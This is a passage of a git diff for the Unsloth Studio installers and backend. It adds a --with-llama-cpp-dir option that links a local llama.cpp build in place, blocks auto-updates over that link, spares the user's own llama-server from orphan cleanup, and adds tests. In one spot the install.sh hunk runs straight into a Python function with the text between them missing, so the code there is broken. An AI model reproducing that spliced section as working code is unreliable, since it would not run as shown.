- python-multipart aiofiles sqlalchemy cryptography \ + python-multipart aiofiles sqlalchemy cryptography psutil \ pyyaml jinja2 mammoth unpdf requests typer \ 'numpy<3' pytest pytest-asyncio httpx # torchvision: unsloth_zoo.vision_utils imports it at module scope. @@ -229,7 +230,9 @@ jobs: tests/sh/test_resolve_cuda_archs.sh \ tests/sh/test_tauri_install_exit_order.sh \ tests/sh/test_torch_constraint.sh \ - tests/sh/test_torch_flavor.sh; do + tests/sh/test_torch_flavor.sh \ + tests/sh/test_with_llama_cpp_dir_flag.sh \ + tests/sh/test_with_llama_cpp_dir_link_behavior.sh; do echo "::group::$s" bash "$s" echo "::endgroup::" diff --git a/install.ps1 b/install.ps1 index f7f9540970..8c667df079 100644 --- a/install.ps1 +++ b/install.ps1 @@ -99,6 +99,7 @@ function Install-UnslothStudio { $TauriMode = $false $SkipTorch = $false $ShortcutsOnly = $false + $WithLlamaCppDir = "" $argList = $args for ($i = 0; $i -lt $argList.Count; $i++) { switch ($argList[$i]) { @@ -116,6 +117,14 @@ function Install-UnslothStudio { } $PackageName = $argList[$i] } + "--with-llama-cpp-dir" { + $i++ + if ($i -ge $argList.Count) { + Write-Host "[ERROR] --with-llama-cpp-dir requires a path argument." -ForegroundColor Red + return (Exit-InstallFailure "--with-llama-cpp-dir requires a path argument.") + } + $WithLlamaCppDir = $argList[$i] + } } } @@ -2430,6 +2439,13 @@ exit 0 } $studioArgs = @('studio', 'setup') if ($script:UnslothVerbose) { $studioArgs += '--verbose' } + if ($WithLlamaCppDir) { + if (-not (Test-Path -LiteralPath $WithLlamaCppDir -PathType Container)) { + Write-Host "[ERROR] --with-llama-cpp-dir path does not exist: $WithLlamaCppDir" -ForegroundColor Red + return (Exit-InstallFailure "--with-llama-cpp-dir path does not exist.") + } + $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR = (Resolve-Path -LiteralPath $WithLlamaCppDir).Path + } $env:UNSLOTH_INSTALL_ROLLBACK_MANAGED = "1" # Hand the venv interpreter to setup.ps1 so it reuses the Python we already # resolved and built the venv with, instead of re-probing the system (which @@ -2445,6 +2461,7 @@ exit 0 } else { Remove-Item Env:UNSLOTH_STUDIO_HOME -ErrorAction SilentlyContinue } + Remove-Item Env:UNSLOTH_LOCAL_LLAMA_CPP_DIR -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_INSTALL_ROLLBACK_MANAGED -ErrorAction SilentlyContinue Remove-Item Env:UNSLOTH_SETUP_PYTHON -ErrorAction SilentlyContinue } diff --git a/install.sh b/install.sh index 7a9f0be87f..0370559540 100755 --- a/install.sh +++ b/install.sh @@ -53,6 +53,11 @@ _VERBOSE=false _SHORTCUTS_ONLY=false _next_is_package=false _next_is_python=false +_next_is_llama_cpp_dir=false +# Seed from the environment so a caller who exports UNSLOTH_LOCAL_LLAMA_CPP_DIR +# (the documented piped-install style) is honored; the --with-llama-cpp-dir +# flag below overrides it when given. +_WITH_LLAMA_CPP_DIR="${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" for arg in "$@"; do if [ "$_next_is_package" = true ]; then PACKAGE_NAME="$arg" @@ -64,6 +69,11 @@ for arg in "$@"; do _next_is_python=false continue fi + if [ "$_next_is_llama_cpp_dir" = true ]; then + _WITH_LLAMA_CPP_DIR="$arg" + _next_is_llama_cpp_dir=false + continue + fi case "$arg" in --local) STUDIO_LOCAL_INSTALL=true ;; --package) _next_is_package=true ;; @@ -72,6 +82,7 @@ for arg in "$@"; do --no-torch) _NO_TORCH_FLAG=true ;; --verbose|-v) _VERBOSE=true ;; --shortcuts-only) _SHORTCUTS_ONLY=true ;; + --with-llama-cpp-dir) _next_is_llama_cpp_dir=true ;; esac done @@ -255,6 +266,10 @@ if [ "$_next_is_python" = true ]; then echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2 exit 1 fi +if [ "$_next_is_llama_cpp_dir" = true ]; then + echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2 + exit 1 +fi # Validate --package to prevent injection into shell/Python commands. # Must start with a letter/digit (rejects leading dashes that uv would parse as flags). @@ -3023,6 +3038,13 @@ _run_setup_with_studio_home() { "$@" fi } +if [ -n "$_WITH_LLAMA_CPP_DIR" ]; then + if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then + echo "[ERROR] --with-llama-cpp-dir path does not exist: $_WITH_LLAMA_CPP_DIR" >&2 + exit 1 + fi + _WITH_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_WITH_LLAMA_CPP_DIR" && pwd -P)" +fi if [ "$STUDIO_LOCAL_INSTALL" = true ]; then _run_setup_with_studio_home env \ SKIP_STUDIO_BASE="$_SKIP_BASE" \ @@ -3031,6 +3053,7 @@ if [ "$STUDIO_LOCAL_INSTALL" = true ]; then STUDIO_LOCAL_INSTALL=1 \ STUDIO_LOCAL_REPO="$_REPO_ROOT" \ UNSLOTH_NO_TORCH="$SKIP_TORCH" \ + UNSLOTH_LOCAL_LLAMA_CPP_DIR="$_WITH_LLAMA_CPP_DIR" \ bash "$SETUP_SH" bool: + """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink + or a Windows directory junction / reparse point. Such a link resolves into + the user's own llama.cpp checkout, which Studio does not own.""" + try: + if os.path.islink(path): + return True + except OSError: + return False + if os.name == "nt": + try: + import stat + attrs = os.lstat(path).st_file_attributes # type: ignore[attr-defined] + return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT) + except (OSError, AttributeError): + return False + return False + + class LlamaCppBackend: """Manages a llama-server subprocess for GGUF model inference. @@ -7166,6 +7185,13 @@ class LlamaCppBackend: resolved_roots: list[Path] = [] for root in install_roots: try: + # A --with-llama-cpp-dir local link (symlink/junction) + # resolves into the user's own checkout. Adding it would let + # us treat the user's externally-launched llama-server as our + # orphan and kill it, so leave such roots out of the + # allowlist (we forgo orphan-reaping for local-link installs). + if _is_external_link(root): + continue resolved_roots.append(root.resolve()) except OSError: pass diff --git a/studio/backend/tests/test_local_llama_cpp_link.py b/studio/backend/tests/test_local_llama_cpp_link.py new file mode 100644 index 0000000000..c78c029d91 --- /dev/null +++ b/studio/backend/tests/test_local_llama_cpp_link.py @@ -0,0 +1,137 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Behavioral tests for the --with-llama-cpp-dir 'unmanaged local link' contract. + +When the canonical llama.cpp dir is a symlink (POSIX) / junction (Windows) to a +user's own checkout, Studio must treat it as externally managed: + - the in-app updater must not offer or apply a prebuilt over the link + - orphan cleanup must not kill a llama-server the user launched from that tree + +These exercise real link behavior rather than grepping the scripts. +""" + +import os +import subprocess +from pathlib import Path + +import pytest + +from utils import llama_cpp_update as u +from core.inference.llama_cpp import LlamaCppBackend + + +def _make_link(link: Path, target: Path) -> None: + """Create a directory junction (Windows) / symlink (POSIX); neither needs + elevation.""" + target.mkdir(parents = True, exist_ok = True) + if os.name == "nt": + subprocess.run( + ["cmd", "/c", "mklink", "/J", str(link), str(target)], + check = True, + capture_output = True, + text = True, + ) + else: + link.symlink_to(target, target_is_directory = True) + + +def _server_subpath() -> Path: + return Path( + "build/bin/Release/llama-server.exe" if os.name == "nt" else "build/bin/llama-server" + ) + + +class _FakeProc: + def __init__(self, pid: int, exe: str) -> None: + self.info = {"pid": pid, "name": "llama-server", "exe": exe} + self.killed = False + + def kill(self) -> None: + self.killed = True + + +def test_is_external_link_detects_link_vs_plain_dir(tmp_path: Path) -> None: + plain = tmp_path / "plain" + plain.mkdir() + assert u._is_external_link(plain) is False + + link = tmp_path / "link" + _make_link(link, tmp_path / "tgt") + assert u._is_external_link(link) is True + + +def test_active_install_is_local_link(tmp_path: Path) -> None: + link = tmp_path / "llama.cpp" + _make_link(link, tmp_path / "tgt") + binary = str(link / _server_subpath()) + assert u._active_install_is_local_link(binary) is True + + # A plain (non-link) llama.cpp dir is Studio-managed, not a local link. + plain = tmp_path / "plain" / "llama.cpp" + plain.mkdir(parents = True) + assert u._active_install_is_local_link(str(plain / _server_subpath())) is False + + +def test_get_update_status_reports_local_link(tmp_path: Path, monkeypatch) -> None: + link = tmp_path / "llama.cpp" + _make_link(link, tmp_path / "tgt") + monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath())) + st = u.get_update_status() + assert st["supported"] is False + assert st["update_available"] is False + assert st["local_link"] is True + + +def test_start_update_refuses_local_link(tmp_path: Path, monkeypatch) -> None: + link = tmp_path / "llama.cpp" + _make_link(link, tmp_path / "tgt") + monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath())) + res = u.start_update() + assert res["started"] is False + assert res["reason"] == "local_link" + + +def _run_orphan_scan(monkeypatch, studio_root: Path, fake: _FakeProc) -> int: + # psutil drives the cross-platform process scan; skip (rather than error) if a + # minimal test env lacks it. CI installs it so these tests actually run. + psutil = pytest.importorskip("psutil") + + monkeypatch.setattr( + LlamaCppBackend, + "_resolved_studio_root_and_is_legacy", + staticmethod(lambda: (studio_root.resolve(), False)), + ) + monkeypatch.setattr(LlamaCppBackend, "_reap_recorded_pid", staticmethod(lambda: 0)) + monkeypatch.setattr(psutil, "process_iter", lambda attrs = None: iter([fake])) + return LlamaCppBackend._kill_orphaned_servers() + + +def test_orphan_cleanup_spares_local_link_tree(tmp_path: Path, monkeypatch) -> None: + studio_root = tmp_path / "studio-home" + studio_root.mkdir() + external = tmp_path / "external" + (external / _server_subpath().parent).mkdir(parents = True) + (external / _server_subpath()).write_text("x") + _make_link(studio_root / "llama.cpp", external) + + exe_under_link = str((external / _server_subpath()).resolve()) + fake = _FakeProc(os.getpid() + 777, exe_under_link) + killed = _run_orphan_scan(monkeypatch, studio_root, fake) + assert killed == 0 + assert fake.killed is False + + +def test_orphan_cleanup_kills_under_real_root(tmp_path: Path, monkeypatch) -> None: + # Control: a real (non-link) managed root still gets its orphan reaped, so + # the spare-the-link test above is meaningful (not a no-op). + studio_root = tmp_path / "studio-home" + bin_dir = studio_root / "llama.cpp" / _server_subpath().parent + bin_dir.mkdir(parents = True) + exe = studio_root / "llama.cpp" / _server_subpath() + exe.write_text("x") + + fake = _FakeProc(os.getpid() + 888, str(exe.resolve())) + killed = _run_orphan_scan(monkeypatch, studio_root, fake) + assert killed == 1 + assert fake.killed is True diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py index 8648b053d5..c16ae91467 100644 --- a/studio/backend/utils/llama_cpp_update.py +++ b/studio/backend/utils/llama_cpp_update.py @@ -324,12 +324,74 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]: } +def _is_external_link(path: Optional[Path]) -> bool: + """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink + or a Windows directory junction / reparse point. Such a link resolves into + the user's own llama.cpp checkout, so Studio must never auto-update it.""" + if path is None: + return False + try: + if os.path.islink(path): + return True + except OSError: + return False + if os.name == "nt": + try: + import stat + attrs = os.lstat(path).st_file_attributes # type: ignore[attr-defined] + return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT) + except (OSError, AttributeError): + return False + return False + + +def _active_install_is_local_link(binary: Optional[str]) -> bool: + """True when the active llama-server resolves through a --with-llama-cpp-dir + local link at the canonical llama.cpp directory. An update would write + through that link into the user's own checkout (or fail), so the install is + treated as externally managed: no update is offered or applied. Checks only + up to and including the ``llama.cpp`` dir so a symlinked HOME / studio root + above it can't trip a false positive.""" + if not binary: + return False + for parent in Path(binary).parents: + if _is_external_link(parent): + return True + if parent.name == "llama.cpp": + break + return False + + +def _local_link_status() -> dict: + """Status payload for a local-link install: unmanaged, no update offered.""" + with _job_lock: + job = dict(_job) + return { + "supported": False, + "update_available": False, + "stale": False, + "installed_tag": None, + "latest_tag": None, + "published_repo": None, + "installed_at_utc": None, + "age_days": None, + "source_build": False, + "local_link": True, + "update_size_bytes": None, + "job": job, + } + + def get_update_status(*, force_refresh: bool = False) -> dict: """Report whether a newer prebuilt exists plus the current job state. force_refresh bypasses the 24h release cache for an explicit "check now". """ binary = _find_binary() + # A --with-llama-cpp-dir local link is the user's own tree; never offer to + # replace it. Bail before any network/freshness work. + if _active_install_is_local_link(binary): + return _local_link_status() marker = read_install_marker(binary) with _job_lock: @@ -537,6 +599,19 @@ def start_update() -> dict: """Kick off a background update. Idempotent: a second call while one is running returns the in-flight job rather than starting another.""" binary = _find_binary() + # Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt + # here would write through the link into the user's own checkout (or fail) + # and silently drop the link the flag created. + if _active_install_is_local_link(binary): + return { + "started": False, + "reason": "local_link", + "message": ( + "llama.cpp is a local directory linked with --with-llama-cpp-dir; " + "Studio won't replace it. Update your own llama.cpp checkout instead." + ), + "job": get_update_status()["job"], + } marker = read_install_marker(binary) script = _installer_script() if script is None: diff --git a/studio/setup.ps1 b/studio/setup.ps1 index ae4e8464ec..bb1e88cc4e 100644 --- a/studio/setup.ps1 +++ b/studio/setup.ps1 @@ -3180,7 +3180,86 @@ if ($LlamaPr) { $SkipPrebuiltInstall = $true } -if ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") { +$LocalLlamaCppLinked = $false +$LocalLlamaCppSrc = $env:UNSLOTH_LOCAL_LLAMA_CPP_DIR +if ($LocalLlamaCppSrc) { + if (-not (Test-Path -LiteralPath $LocalLlamaCppSrc -PathType Container)) { + step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $LocalLlamaCppSrc" "Red" + exit 1 + } + $ResolvedLocal = (Resolve-Path -LiteralPath $LocalLlamaCppSrc).Path + # Reusing a local dir disables both the prebuilt download and the source + # build, so a runnable llama-server.exe must already be present. Accept any + # layout LlamaCppBackend._layout_candidates() resolves (root-level, build\bin, + # or build\bin\Release) so the flag never rejects a tree Studio could run. + $LocalLlamaServerFound = $false + foreach ($_cand in @( + (Join-Path $ResolvedLocal "llama-server.exe"), + (Join-Path $ResolvedLocal "build\bin\llama-server.exe"), + (Join-Path $ResolvedLocal "build\bin\Release\llama-server.exe"))) { + if (Test-Path -LiteralPath $_cand) { $LocalLlamaServerFound = $true; break } + } + if ($ResolvedLocal -eq $LlamaCppDir) { + # Points at the canonical install location itself: never delete-then-link + # onto itself. Reuse an existing build here (skip prebuilt + source) so the + # staged prebuilt installer can't replace a build the user asked to reuse; + # if nothing is built yet, fall through to the normal install. + if ($LocalLlamaServerFound) { + substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it" "Yellow" + $LocalLlamaCppLinked = $true + $NeedLlamaSourceBuild = $false + } else { + substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install" "Yellow" + } + } else { + # Fail clearly rather than junction an unbuilt or wrong-platform checkout + # and leave Studio with no usable binary. + if (-not $LocalLlamaServerFound) { + step "llama.cpp" "no llama-server.exe under $ResolvedLocal (looked for .\llama-server.exe, .\build\bin and .\build\bin\Release) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "Red" + exit 1 + } + # If the target is already a junction/symlink (e.g. a previous + # --with-llama-cpp-dir run), delete only the link via DirectoryInfo.Delete(). + # Remove-Item -Recurse -Force on a reparse point can traverse the link and + # wipe the user's real llama.cpp directory on PowerShell 5.1. Dropping the + # stale link here also keeps the custom-home ownership check below idempotent. + # Use Get-Item -Force (not Test-Path): a *broken* junction whose target was + # moved/deleted makes Test-Path return false, which would leave the dangling + # link in place and make mklink below fail; Get-Item still resolves it so we + # can remove it and relink to a new valid directory. + $existing = Get-Item -LiteralPath $LlamaCppDir -Force -ErrorAction SilentlyContinue + if ($existing -and ($existing.Attributes -band [System.IO.FileAttributes]::ReparsePoint)) { + $existing.Delete() + } + if ($StudioHomeIsCustom) { + Assert-StudioOwnedOrAbsent -Path $LlamaCppDir -Label "llama.cpp install" + } + if (Test-Path -LiteralPath $LlamaCppDir) { + Remove-Item -Recurse -Force -LiteralPath $LlamaCppDir -ErrorAction SilentlyContinue + # A locked/in-use tree can silently survive removal (SilentlyContinue + # masks it). Don't then junction/copy over a half-present dir; mirror the + # prebuilt path's active-process handling and stop with a clear message. + if (Test-Path -LiteralPath $LlamaCppDir) { + step "llama.cpp" "install blocked by active llama.cpp process" "Yellow" + substep "Close Studio or other llama.cpp users and retry" "Yellow" + exit 3 + } + } + cmd /c "mklink /J `"$LlamaCppDir`" `"$ResolvedLocal`"" 2>&1 | Out-Null + if ($LASTEXITCODE -ne 0) { + substep "Could not create directory junction; copying instead..." "Yellow" + Copy-Item -Recurse -LiteralPath $ResolvedLocal -Destination $LlamaCppDir + } + Write-Host "" + step "llama.cpp" "linked local directory: $ResolvedLocal" + $LocalLlamaCppLinked = $true + $NeedLlamaSourceBuild = $false + } +} + +if ($LocalLlamaCppLinked) { + # local directory linked above; skip prebuilt install +} elseif ($env:UNSLOTH_LLAMA_FORCE_COMPILE -eq "1") { Write-Host "" substep "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt llama.cpp install" "Yellow" $NeedLlamaSourceBuild = $true @@ -3390,7 +3469,8 @@ if (Test-Path -LiteralPath $LlamaServerBin) { # Install build tools now (last resort) rather than eagerly in Phase 1, so the # prebuilt path stays fast. Same condition as the if/elseif chain below: a source -# build runs only when needed and no usable binary is already present. +# build runs only when needed and no usable binary is already present. A linked +# local dir sets $NeedLlamaSourceBuild = $false, so this no-ops for that path. $WillBuildLlamaFromSource = $NeedLlamaSourceBuild -and ` -not ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master") if ($WillBuildLlamaFromSource) { @@ -3399,7 +3479,13 @@ if ($WillBuildLlamaFromSource) { $HasCmakeForBuild = $null -ne (Get-Command cmake -ErrorAction SilentlyContinue) } -if (-not $NeedLlamaSourceBuild) { +if ($LocalLlamaCppLinked) { + # Local dir linked above -- honor the flag's contract: skip BOTH the prebuilt + # download and the source build. Falling through here would run CMake inside + # the user's checkout (via the junction) when it lacks build\bin\Release\llama-server.exe. + Write-Host "" + step "llama.cpp" "linked (skipping build)" +} elseif (-not $NeedLlamaSourceBuild) { Write-Host "" step "llama.cpp" "prebuilt (validated)" } elseif ((Test-Path -LiteralPath $LlamaServerBin) -and -not $NeedRebuild -and $RequestedLlamaTag -ne "master") { diff --git a/studio/setup.sh b/studio/setup.sh index 22a922355d..6a74cd2296 100755 --- a/studio/setup.sh +++ b/studio/setup.sh @@ -1271,7 +1271,90 @@ fi verbose_substep "requested llama.cpp tag: $_REQUESTED_LLAMA_TAG (repo: $_HELPER_RELEASE_REPO)" -if [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then +# GGUF export's check_llama_cpp() looks for a llama-quantize shim at the root of +# the install dir, but a source build keeps the binary under build/bin/. Mirror +# the source-build-reuse step and create the shim when the reused tree has one +# but no root shim yet. Best-effort: the tree may be read-only (shared/CI cache), +# and under `set -e` a failed ln would otherwise abort an good reuse. +_link_local_llama_quantize_shim() { + if [ -x "$1/build/bin/llama-quantize" ] && [ ! -e "$1/llama-quantize" ]; then + ln -sf build/bin/llama-quantize "$1/llama-quantize" 2>/dev/null || \ + substep "could not create llama-quantize shim in linked dir (read-only?); GGUF export may be unavailable" + fi +} + +# Accept any layout LlamaCppBackend._layout_candidates() resolves so the flag +# never rejects a tree Studio could actually run: a root-level llama-server (a +# `make` build or a flat-extracted release) or the CMake build/bin/llama-server. +_has_local_llama_server() { + [ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ] +} + +_LOCAL_LLAMA_CPP_LINKED=false +if [ -n "${UNSLOTH_LOCAL_LLAMA_CPP_DIR:-}" ]; then + if [ ! -d "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" ]; then + step "llama.cpp" "UNSLOTH_LOCAL_LLAMA_CPP_DIR does not exist: $UNSLOTH_LOCAL_LLAMA_CPP_DIR" "$C_ERR" + exit 1 + fi + _RESOLVED_LOCAL="$(CDPATH= cd -P -- "$UNSLOTH_LOCAL_LLAMA_CPP_DIR" && pwd -P)" + # Canonicalize the install path the same way before comparing: _RESOLVED_LOCAL + # is fully resolved, but LLAMA_CPP_DIR is textual ($UNSLOTH_HOME/llama.cpp). If + # $HOME (or UNSLOTH_HOME) contains a symlink, the two never match even when the + # user pointed the flag at the canonical install itself -- and the rm -rf below + # would then wipe the very tree they asked to reuse. Resolve via the parent so + # this works whether or not the leaf currently exists. + _CANON_LLAMA_CPP_DIR="$LLAMA_CPP_DIR" + _LLAMA_CPP_PARENT="$(dirname "$LLAMA_CPP_DIR")" + if [ -d "$_LLAMA_CPP_PARENT" ]; then + _CANON_LLAMA_CPP_DIR="$(CDPATH= cd -P -- "$_LLAMA_CPP_PARENT" && pwd -P)/$(basename "$LLAMA_CPP_DIR")" + fi + if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then + # Points at the canonical install location itself: never delete-then-link + # it onto itself. If a usable build is already there, reuse it and skip + # both the prebuilt download and the source build -- the prebuilt installer + # uses os.replace() and would otherwise clobber an existing source build at + # this path. If nothing is built there yet, fall through to the normal + # install so it gets built in place exactly as it would without the flag. + if _has_local_llama_server "$LLAMA_CPP_DIR"; then + substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR is the canonical install location and already holds a build; reusing it" + _link_local_llama_quantize_shim "$LLAMA_CPP_DIR" + _LOCAL_LLAMA_CPP_LINKED=true + _NEED_LLAMA_SOURCE_BUILD=false + _SKIP_PREBUILT_INSTALL=true + else + substep "UNSLOTH_LOCAL_LLAMA_CPP_DIR points to the canonical install location with nothing built there yet; running the normal install" + fi + else + # Reusing disables BOTH the prebuilt download and the source build, so the + # linked tree must already contain a runnable llama-server in one of the + # layouts the backend resolves (root-level or build/bin/). Fail clearly + # rather than link an unbuilt or wrong-platform checkout and leave Studio + # with no usable binary. + if ! _has_local_llama_server "$_RESOLVED_LOCAL"; then + step "llama.cpp" "no llama-server under $_RESOLVED_LOCAL (looked for ./llama-server and ./build/bin/llama-server) -- build llama.cpp there first, or drop --with-llama-cpp-dir" "$C_ERR" + exit 1 + fi + # A stale link from a previous --with-llama-cpp-dir run isn't Studio-owned + # content; drop it before the ownership check so re-runs stay idempotent + # for a custom UNSLOTH_STUDIO_HOME (the assert would otherwise follow the + # link into the user's dir and reject it as unowned). + [ -L "$LLAMA_CPP_DIR" ] && rm -f "$LLAMA_CPP_DIR" + if [ "$_STUDIO_HOME_IS_CUSTOM" = true ]; then + _assert_studio_owned_or_absent "$LLAMA_CPP_DIR" "llama.cpp install" + fi + rm -rf "$LLAMA_CPP_DIR" + ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR" + _link_local_llama_quantize_shim "$LLAMA_CPP_DIR" + step "llama.cpp" "linked local directory: $_RESOLVED_LOCAL" + _LOCAL_LLAMA_CPP_LINKED=true + _NEED_LLAMA_SOURCE_BUILD=false + _SKIP_PREBUILT_INSTALL=true + fi +fi + +if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then + : # local directory linked above; skip prebuilt install +elif [ "$_LLAMA_FORCE_COMPILE" = "1" ]; then step "llama.cpp" "UNSLOTH_LLAMA_FORCE_COMPILE=1 -- skipping prebuilt" "$C_WARN" _NEED_LLAMA_SOURCE_BUILD=true elif [ "${_SKIP_PREBUILT_INSTALL:-false}" = true ]; then diff --git a/tests/sh/test_with_llama_cpp_dir_flag.sh b/tests/sh/test_with_llama_cpp_dir_flag.sh new file mode 100644 index 0000000000..cee158bf40 --- /dev/null +++ b/tests/sh/test_with_llama_cpp_dir_flag.sh @@ -0,0 +1,172 @@ +#!/bin/bash +# Static analysis: the --with-llama-cpp-dir flag must be wired consistently +# across both installers (install.sh / install.ps1) and both setup scripts +# (studio/setup.sh / studio/setup.ps1). +# +# The flag lets a user point the installer at a local llama.cpp directory so it +# skips BOTH the prebuilt download (Phase 3) and the source build (Phase 4), +# linking the local dir into the canonical install location instead. The path +# crosses the installer->setup boundary via the UNSLOTH_LOCAL_LLAMA_CPP_DIR env +# var. These checks pin that contract so a future refactor of either side can't +# silently break it (e.g. installer parses the flag but setup never reads the +# env var, or setup links the dir but still runs the build). +# +# This is a shape/wiring test, not a behavioral one: it greps the committed +# scripts. It needs no Python, no GPU, no network. +set -e + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +INSTALL_SH="$SCRIPT_DIR/../../install.sh" +INSTALL_PS1="$SCRIPT_DIR/../../install.ps1" +SETUP_SH="$SCRIPT_DIR/../../studio/setup.sh" +SETUP_PS1="$SCRIPT_DIR/../../studio/setup.ps1" +ENV_VAR="UNSLOTH_LOCAL_LLAMA_CPP_DIR" +PASS=0 +FAIL=0 + +assert_contains() { + _label="$1"; _file="$2"; _needle="$3" + if grep -qF -- "$_needle" "$_file"; then + echo " PASS: $_label" + PASS=$((PASS + 1)) + else + echo " FAIL: $_label (expected to find '$_needle' in $(basename "$_file"))" + FAIL=$((FAIL + 1)) + fi +} + +# Count of distinct lines matching a regex, used to assert a guard appears +# in more than one place (e.g. env var forwarded on both setup invocations). +assert_min_count() { + _label="$1"; _file="$2"; _pattern="$3"; _min="$4" + _n=$(grep -cE -- "$_pattern" "$_file" || true) + if [ "$_n" -ge "$_min" ]; then + echo " PASS: $_label (found $_n, need >= $_min)" + PASS=$((PASS + 1)) + else + echo " FAIL: $_label (found $_n in $(basename "$_file"), need >= $_min)" + FAIL=$((FAIL + 1)) + fi +} + +echo "" +echo "=== install.sh: parses --with-llama-cpp-dir and forwards the env var ===" + +assert_contains \ + "install.sh: accepts --with-llama-cpp-dir flag" \ + "$INSTALL_SH" "--with-llama-cpp-dir" +assert_contains \ + "install.sh: validates the path exists before forwarding" \ + "$INSTALL_SH" 'if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then' +# The path must be forwarded to setup.sh on BOTH the local and the +# non-local setup invocations, else --local users (the documented path) +# would silently lose the flag. +assert_min_count \ + "install.sh: forwards $ENV_VAR on both setup invocations" \ + "$INSTALL_SH" "$ENV_VAR=\"\\\$_WITH_LLAMA_CPP_DIR\"" 2 + +echo "" +echo "=== install.ps1: parses --with-llama-cpp-dir and forwards the env var ===" + +assert_contains \ + "install.ps1: accepts --with-llama-cpp-dir flag" \ + "$INSTALL_PS1" '"--with-llama-cpp-dir"' +assert_contains \ + "install.ps1: errors when flag is given with no path argument" \ + "$INSTALL_PS1" "--with-llama-cpp-dir requires a path argument" +assert_contains \ + "install.ps1: validates the path exists before forwarding" \ + "$INSTALL_PS1" "--with-llama-cpp-dir path does not exist" +assert_contains \ + "install.ps1: exports $ENV_VAR for setup.ps1" \ + "$INSTALL_PS1" "\$env:$ENV_VAR =" +# The exported env var must be cleaned up so a later setup invocation in the +# same shell session doesn't inherit a stale local-dir link. +assert_contains \ + "install.ps1: clears $ENV_VAR after the setup run" \ + "$INSTALL_PS1" "Remove-Item Env:$ENV_VAR" + +echo "" +echo "=== studio/setup.sh: reads the env var, links, and skips download+build ===" + +assert_contains \ + "setup.sh: reads $ENV_VAR" \ + "$SETUP_SH" "$ENV_VAR" +assert_contains \ + "setup.sh: symlinks the local dir into the canonical install location" \ + "$SETUP_SH" 'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"' +assert_contains \ + "setup.sh: disables the source build when the local dir is linked" \ + "$SETUP_SH" "_NEED_LLAMA_SOURCE_BUILD=false" +assert_contains \ + "setup.sh: skips the prebuilt download when the local dir is linked" \ + "$SETUP_SH" "_SKIP_PREBUILT_INSTALL=true" +# The link branch must short-circuit the FORCE_COMPILE / prebuilt chain rather +# than fall through into it. +assert_contains \ + "setup.sh: link branch gates the prebuilt/compile chain" \ + "$SETUP_SH" 'if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then' + +echo "" +echo "=== studio/setup.ps1: reads the env var, junctions, and skips download+build ===" + +assert_contains \ + "setup.ps1: reads $ENV_VAR" \ + "$SETUP_PS1" "\$env:$ENV_VAR" +assert_contains \ + "setup.ps1: creates a directory junction into the canonical location" \ + "$SETUP_PS1" "mklink /J" +assert_contains \ + "setup.ps1: falls back to a copy when the junction can't be created" \ + "$SETUP_PS1" "Copy-Item -Recurse -LiteralPath \$ResolvedLocal -Destination \$LlamaCppDir" +assert_contains \ + "setup.ps1: disables the source build when the local dir is linked" \ + "$SETUP_PS1" '$NeedLlamaSourceBuild = $false' +# The link branch must gate the prebuilt-install chain (the elseif on +# FORCE_COMPILE), and the linked-dir case must short-circuit the build chain +# so neither a prebuilt download nor a source build runs against it. +assert_contains \ + "setup.ps1: link branch gates the prebuilt/compile chain" \ + "$SETUP_PS1" 'if ($LocalLlamaCppLinked) {' +assert_contains \ + "setup.ps1: linked-dir case short-circuits the build chain" \ + "$SETUP_PS1" 'step "llama.cpp" "linked (skipping build)"' + +echo "" +echo "=== both setup scripts: validate against every layout the backend resolves ===" + +# The linked tree is accepted only if it already holds a runnable llama-server, +# but the check must match LlamaCppBackend._layout_candidates() (root-level +# first, then build/bin, then build/bin/Release on Windows). A narrower check +# would reject a make/flat-release tree the backend could run. +assert_contains \ + "setup.sh: accepts root-level or build/bin llama-server layouts" \ + "$SETUP_SH" '[ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ]' +assert_contains \ + "setup.ps1: accepts the build\\bin (non-Release) llama-server.exe layout" \ + "$SETUP_PS1" 'Join-Path $ResolvedLocal "build\bin\llama-server.exe"' +assert_contains \ + "setup.ps1: accepts the root-level llama-server.exe layout" \ + "$SETUP_PS1" 'Join-Path $ResolvedLocal "llama-server.exe"' + +echo "" +echo "=== both setup scripts: a local dir pointing at the canonical path is a no-op ===" + +# Guard against the self-link footgun: if the user passes the canonical install +# dir itself, neither script should 